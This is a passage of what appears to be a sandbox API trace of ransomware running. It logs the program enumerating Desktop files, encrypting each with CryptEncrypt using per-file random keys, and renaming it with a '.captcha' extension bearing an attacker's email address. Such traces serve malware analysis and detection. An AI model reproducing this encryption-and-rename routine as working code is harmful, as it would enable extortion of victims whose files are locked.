out: hHeap=0x520000) returned 1 [0120.060] FindNextFileW (in: hFindFile=0x53a950, lpFindFileData=0x329fa98 | out: lpFindFileData=0x329fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0d6540, ftCreationTime.dwHighDateTime=0x1d5dd7e, ftLastAccessTime.dwLowDateTime=0xdcce9930, ftLastAccessTime.dwHighDateTime=0x1d5e217, ftLastWriteTime.dwLowDateTime=0xdcce9930, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0120.061] FindNextFileW (in: hFindFile=0x53a950, lpFindFileData=0x329fa98 | out: lpFindFileData=0x329fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6884290, ftCreationTime.dwHighDateTime=0x1d5df15, ftLastAccessTime.dwLowDateTime=0x4ff5ec0, ftLastAccessTime.dwHighDateTime=0x1d5dd73, ftLastWriteTime.dwLowDateTime=0x4ff5ec0, ftLastWriteTime.dwHighDateTime=0x1d5dd73, nFileSizeHigh=0x0, nFileSizeLow=0x27d0, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="Cb7Gyhhe8ABQk0.rtf", cAlternateFileName="CB7GYH~1.RTF")) returned 1 [0120.061] GetProcessHeap () returned 0x520000 [0120.061] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x26a) returned 0x56b6b0 [0120.061] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\Cb7Gyhhe8ABQk0.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fkh p\\cb7gyhhe8abqk0.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0120.061] GetProcessHeap () returned 0x520000 [0120.061] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.061] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.061] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fa28 | out: lpNewFilePointer=0x0) returned 1 [0120.061] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fa0c | out: phKey=0x329fa0c*=0x545248) returned 1 [0120.061] CryptSetKeyParam (hKey=0x545248, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.061] GetProcessHeap () returned 0x520000 [0120.061] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0120.061] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8*, pdwDataLen=0x329f9f0*=0x40, dwBufLen=0x40 | out: pbData=0x5354c8*, pdwDataLen=0x329f9f0*=0x40) returned 1 [0120.061] CryptDestroyKey (hKey=0x545248) returned 1 [0120.062] WriteFile (in: hFile=0x120, lpBuffer=0x5354c8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x5354c8*, lpNumberOfBytesWritten=0x329fa08*=0x40, lpOverlapped=0x0) returned 1 [0120.063] WriteFile (in: hFile=0x120, lpBuffer=0x329fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x329fa10*, lpNumberOfBytesWritten=0x329fa08*=0x4, lpOverlapped=0x0) returned 1 [0120.063] WriteFile (in: hFile=0x120, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fa08*=0x10, lpOverlapped=0x0) returned 1 [0120.063] WriteFile (in: hFile=0x120, lpBuffer=0x5451c0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x5451c0*, lpNumberOfBytesWritten=0x329fa08*=0x80, lpOverlapped=0x0) returned 1 [0120.063] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fa30 | out: lpNewFilePointer=0x0) returned 1 [0120.063] WriteFile (in: hFile=0x120, lpBuffer=0x329fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x329fa20*, lpNumberOfBytesWritten=0x329fa08*=0x8, lpOverlapped=0x0) returned 1 [0120.063] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fa0c | out: phKey=0x329fa0c*=0x545248) returned 1 [0120.063] CryptSetKeyParam (hKey=0x545248, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.063] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.063] ReadFile (in: hFile=0x120, lpBuffer=0x3090020, nNumberOfBytesToRead=0x27d0, lpNumberOfBytesRead=0x329fa14, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fa14*=0x27d0, lpOverlapped=0x0) returned 1 [0120.064] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329f9f0*=0x27d0, dwBufLen=0x27d0 | out: pbData=0x3090020*, pdwDataLen=0x329f9f0*=0x27d0) returned 1 [0120.064] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.064] WriteFile (in: hFile=0x120, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x27d0, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fa08*=0x27d0, lpOverlapped=0x0) returned 1 [0120.064] CryptDestroyKey (hKey=0x545248) returned 1 [0120.064] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x28a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.064] SetEndOfFile (hFile=0x120) returned 1 [0120.067] GetProcessHeap () returned 0x520000 [0120.067] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0120.067] GetProcessHeap () returned 0x520000 [0120.067] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.067] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\Cb7Gyhhe8ABQk0.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fkh p\\cb7gyhhe8abqk0.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\Cb7Gyhhe8ABQk0.rtf.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fkh p\\cb7gyhhe8abqk0.rtf.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.068] CloseHandle (hObject=0x120) returned 1 [0120.069] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.069] FindNextFileW (in: hFindFile=0x53a950, lpFindFileData=0x329fa98 | out: lpFindFileData=0x329fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0a034b0, ftCreationTime.dwHighDateTime=0x1d5e16e, ftLastAccessTime.dwLowDateTime=0x3d1a9c60, ftLastAccessTime.dwHighDateTime=0x1d5df8b, ftLastWriteTime.dwLowDateTime=0x3d1a9c60, ftLastWriteTime.dwHighDateTime=0x1d5df8b, nFileSizeHigh=0x0, nFileSizeLow=0xe4c3, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="Fh5ZEZWBdCVU3gVcj.mp3", cAlternateFileName="FH5ZEZ~1.MP3")) returned 1 [0120.069] FindNextFileW (in: hFindFile=0x53a950, lpFindFileData=0x329fa98 | out: lpFindFileData=0x329fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58555080, ftCreationTime.dwHighDateTime=0x1d5e4d9, ftLastAccessTime.dwLowDateTime=0x8bee35d0, ftLastAccessTime.dwHighDateTime=0x1d5dc26, ftLastWriteTime.dwLowDateTime=0x8bee35d0, ftLastWriteTime.dwHighDateTime=0x1d5dc26, nFileSizeHigh=0x0, nFileSizeLow=0x15b16, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="OUbB8Nw.bmp", cAlternateFileName="")) returned 1 [0120.069] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\OUbB8Nw.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fkh p\\oubb8nw.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0120.069] GetProcessHeap () returned 0x520000 [0120.069] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.069] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.069] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fa28 | out: lpNewFilePointer=0x0) returned 1 [0120.069] WriteFile (in: hFile=0x120, lpBuffer=0x329fa38*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x329fa38*, lpNumberOfBytesWritten=0x329fa08*=0xa, lpOverlapped=0x0) returned 1 [0120.071] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fa0c | out: phKey=0x329fa0c*=0x545248) returned 1 [0120.071] CryptSetKeyParam (hKey=0x545248, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.071] GetProcessHeap () returned 0x520000 [0120.071] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0120.071] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8*, pdwDataLen=0x329f9f0*=0x40, dwBufLen=0x40 | out: pbData=0x5354c8*, pdwDataLen=0x329f9f0*=0x40) returned 1 [0120.071] CryptDestroyKey (hKey=0x545248) returned 1 [0120.071] WriteFile (in: hFile=0x120, lpBuffer=0x5354c8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x5354c8*, lpNumberOfBytesWritten=0x329fa08*=0x40, lpOverlapped=0x0) returned 1 [0120.071] WriteFile (in: hFile=0x120, lpBuffer=0x329fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x329fa10*, lpNumberOfBytesWritten=0x329fa08*=0x4, lpOverlapped=0x0) returned 1 [0120.071] WriteFile (in: hFile=0x120, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fa08*=0x10, lpOverlapped=0x0) returned 1 [0120.071] WriteFile (in: hFile=0x120, lpBuffer=0x545138*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x545138*, lpNumberOfBytesWritten=0x329fa08*=0x80, lpOverlapped=0x0) returned 1 [0120.071] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fa30 | out: lpNewFilePointer=0x0) returned 1 [0120.071] WriteFile (in: hFile=0x120, lpBuffer=0x329fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x329fa20*, lpNumberOfBytesWritten=0x329fa08*=0x8, lpOverlapped=0x0) returned 1 [0120.071] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fa0c | out: phKey=0x329fa0c*=0x545248) returned 1 [0120.071] CryptSetKeyParam (hKey=0x545248, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.071] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.072] ReadFile (in: hFile=0x120, lpBuffer=0x3090020, nNumberOfBytesToRead=0x15b16, lpNumberOfBytesRead=0x329fa14, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fa14*=0x15b16, lpOverlapped=0x0) returned 1 [0120.072] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329f9f0*=0x15b20, dwBufLen=0x15b20 | out: pbData=0x3090020*, pdwDataLen=0x329f9f0*=0x15b20) returned 1 [0120.073] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.073] WriteFile (in: hFile=0x120, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0x15b20, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fa08*=0x15b20, lpOverlapped=0x0) returned 1 [0120.074] CryptDestroyKey (hKey=0x545248) returned 1 [0120.074] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x15bf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.074] SetEndOfFile (hFile=0x120) returned 1 [0120.077] GetProcessHeap () returned 0x520000 [0120.078] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0120.078] GetProcessHeap () returned 0x520000 [0120.078] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.079] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\OUbB8Nw.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fkh p\\oubb8nw.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\OUbB8Nw.bmp.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fkh p\\oubb8nw.bmp.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.087] CloseHandle (hObject=0x120) returned 1 [0120.087] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.087] FindNextFileW (in: hFindFile=0x53a950, lpFindFileData=0x329fa98 | out: lpFindFileData=0x329fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30ca6300, ftCreationTime.dwHighDateTime=0x1d5de69, ftLastAccessTime.dwLowDateTime=0xed7f6400, ftLastAccessTime.dwHighDateTime=0x1d5e80f, ftLastWriteTime.dwLowDateTime=0xed7f6400, ftLastWriteTime.dwHighDateTime=0x1d5e80f, nFileSizeHigh=0x0, nFileSizeLow=0xe2a9, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="qnAgUAAuMSkT3L.bmp", cAlternateFileName="QNAGUA~1.BMP")) returned 1 [0120.087] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\qnAgUAAuMSkT3L.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fkh p\\qnaguaaumskt3l.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0120.087] GetProcessHeap () returned 0x520000 [0120.087] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.087] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.087] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fa28 | out: lpNewFilePointer=0x0) returned 1 [0120.088] WriteFile (in: hFile=0x120, lpBuffer=0x329fa38*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x329fa38*, lpNumberOfBytesWritten=0x329fa08*=0x7, lpOverlapped=0x0) returned 1 [0120.089] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fa0c | out: phKey=0x329fa0c*=0x545248) returned 1 [0120.089] CryptSetKeyParam (hKey=0x545248, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.090] GetProcessHeap () returned 0x520000 [0120.090] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5354c8 [0120.090] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x5354c8*, pdwDataLen=0x329f9f0*=0x40, dwBufLen=0x40 | out: pbData=0x5354c8*, pdwDataLen=0x329f9f0*=0x40) returned 1 [0120.090] CryptDestroyKey (hKey=0x545248) returned 1 [0120.090] WriteFile (in: hFile=0x120, lpBuffer=0x5354c8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x5354c8*, lpNumberOfBytesWritten=0x329fa08*=0x40, lpOverlapped=0x0) returned 1 [0120.090] WriteFile (in: hFile=0x120, lpBuffer=0x329fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x329fa10*, lpNumberOfBytesWritten=0x329fa08*=0x4, lpOverlapped=0x0) returned 1 [0120.090] WriteFile (in: hFile=0x120, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fa08*=0x10, lpOverlapped=0x0) returned 1 [0120.090] WriteFile (in: hFile=0x120, lpBuffer=0x5451c0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x5451c0*, lpNumberOfBytesWritten=0x329fa08*=0x80, lpOverlapped=0x0) returned 1 [0120.090] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fa30 | out: lpNewFilePointer=0x0) returned 1 [0120.090] WriteFile (in: hFile=0x120, lpBuffer=0x329fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x329fa20*, lpNumberOfBytesWritten=0x329fa08*=0x8, lpOverlapped=0x0) returned 1 [0120.090] CryptImportKey (in: hProv=0x534c08, pbData=0x545100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fa0c | out: phKey=0x329fa0c*=0x545248) returned 1 [0120.091] CryptSetKeyParam (hKey=0x545248, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.091] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.091] ReadFile (in: hFile=0x120, lpBuffer=0x3090020, nNumberOfBytesToRead=0xe2a9, lpNumberOfBytesRead=0x329fa14, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fa14*=0xe2a9, lpOverlapped=0x0) returned 1 [0120.091] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329f9f0*=0xe2b0, dwBufLen=0xe2b0 | out: pbData=0x3090020*, pdwDataLen=0x329f9f0*=0xe2b0) returned 1 [0120.092] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.092] WriteFile (in: hFile=0x120, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fa08*=0xe2b0, lpOverlapped=0x0) returned 1 [0120.092] CryptDestroyKey (hKey=0x545248) returned 1 [0120.092] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xe384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.092] SetEndOfFile (hFile=0x120) returned 1 [0120.096] GetProcessHeap () returned 0x520000 [0120.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5354c8 | out: hHeap=0x520000) returned 1 [0120.096] GetProcessHeap () returned 0x520000 [0120.096] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.096] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\qnAgUAAuMSkT3L.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fkh p\\qnaguaaumskt3l.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\qnAgUAAuMSkT3L.bmp.[4B2E4630].[garantos@mailfence.com].captcha" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fkh p\\qnaguaaumskt3l.bmp.[4b2e4630].[garantos@mailfence.com].captcha")) returned 1 [0120.100] CloseHandle (hObject=0x120) returned 1 [0120.100] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0120.100] FindNextFileW (in: hFindFile=0x53a950, lpFindFileData=0x329fa98 | out: lpFindFileData=0x329fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd637a60, ftCreationTime.dwHighDateTime=0x1d5d972, ftLastAccessTime.dwLowDateTime=0x42127ee0, ftLastAccessTime.dwHighDateTime=0x1d5d7f7, ftLastWriteTime.dwLowDateTime=0x42127ee0, ftLastWriteTime.dwHighDateTime=0x1d5d7f7, nFileSizeHigh=0x0, nFileSizeLow=0xc364, dwReserved0=0x520138, dwReserved1=0x77c7387a, cFileName="xgqZHJz8zsk3DeEjWxC.bmp", cAlternateFileName="XGQZHJ~1.BMP")) returned 1 [0120.100] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\xgqZHJz8zsk3DeEjWxC.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fkh p\\xgqzhjz8zsk3deejwxc.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0120.100] GetProcessHeap () returned 0x520000 [0120.100] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x544120 [0120.100] CryptGenRandom (in: hProv=0x534c08, dwLen=0x10, pbBuffer=0x544120 | out: pbBuffer=0x544120) returned 1 [0120.100] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fa28 | out: lpNewFilePointer=0x0) returned 1 [0120.100] WriteFile (in: hFile=0x120, lpBuffer=0x329fa38*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x329fa38*, lpNumberOfBytesWritten=0x329fa08*=0xc, lpOverlapped=0x0) returned 1 [0120.102] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fa0c | out: phKey=0x329fa0c*=0x545248) returned 1 [0120.102] CryptSetKeyParam (hKey=0x545248, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.102] GetProcessHeap () returned 0x520000 [0120.102] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x545658 [0120.102] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x545658*, pdwDataLen=0x329f9f0*=0x50, dwBufLen=0x50 | out: pbData=0x545658*, pdwDataLen=0x329f9f0*=0x50) returned 1 [0120.102] CryptDestroyKey (hKey=0x545248) returned 1 [0120.102] WriteFile (in: hFile=0x120, lpBuffer=0x545658*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x545658*, lpNumberOfBytesWritten=0x329fa08*=0x50, lpOverlapped=0x0) returned 1 [0120.102] WriteFile (in: hFile=0x120, lpBuffer=0x329fa10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x329fa10*, lpNumberOfBytesWritten=0x329fa08*=0x4, lpOverlapped=0x0) returned 1 [0120.102] WriteFile (in: hFile=0x120, lpBuffer=0x544120*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x544120*, lpNumberOfBytesWritten=0x329fa08*=0x10, lpOverlapped=0x0) returned 1 [0120.102] WriteFile (in: hFile=0x120, lpBuffer=0x545138*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x545138*, lpNumberOfBytesWritten=0x329fa08*=0x80, lpOverlapped=0x0) returned 1 [0120.102] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fa30 | out: lpNewFilePointer=0x0) returned 1 [0120.102] WriteFile (in: hFile=0x120, lpBuffer=0x329fa20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x329fa20*, lpNumberOfBytesWritten=0x329fa08*=0x8, lpOverlapped=0x0) returned 1 [0120.102] CryptImportKey (in: hProv=0x534c08, pbData=0x545038, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x329fa0c | out: phKey=0x329fa0c*=0x545248) returned 1 [0120.102] CryptSetKeyParam (hKey=0x545248, dwParam=0x1, pbData=0x544120, dwFlags=0x0) returned 1 [0120.103] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.103] ReadFile (in: hFile=0x120, lpBuffer=0x3090020, nNumberOfBytesToRead=0xc364, lpNumberOfBytesRead=0x329fa14, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesRead=0x329fa14*=0xc364, lpOverlapped=0x0) returned 1 [0120.103] CryptEncrypt (in: hKey=0x545248, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3090020*, pdwDataLen=0x329f9f0*=0xc370, dwBufLen=0xc370 | out: pbData=0x3090020*, pdwDataLen=0x329f9f0*=0xc370) returned 1 [0120.104] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.104] WriteFile (in: hFile=0x120, lpBuffer=0x3090020*, nNumberOfBytesToWrite=0xc370, lpNumberOfBytesWritten=0x329fa08, lpOverlapped=0x0 | out: lpBuffer=0x3090020*, lpNumberOfBytesWritten=0x329fa08*=0xc370, lpOverlapped=0x0) returned 1 [0120.105] CryptDestroyKey (hKey=0x545248) returned 1 [0120.105] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xc454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.105] SetEndOfFile (hFile=0x120) returned 1 [0120.108] GetProcessHeap () returned 0x520000 [0120.108] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x545658 | out: hHeap=0x520000) returned 1 [0120.108] GetProcessHeap () returned 0x520000 [0120.108] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x544120 | out: hHeap=0x520000) returned 1 [0120.108] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fKh p\\xgqZHJz8zsk3DeEjWxC.bmp" (normalized: 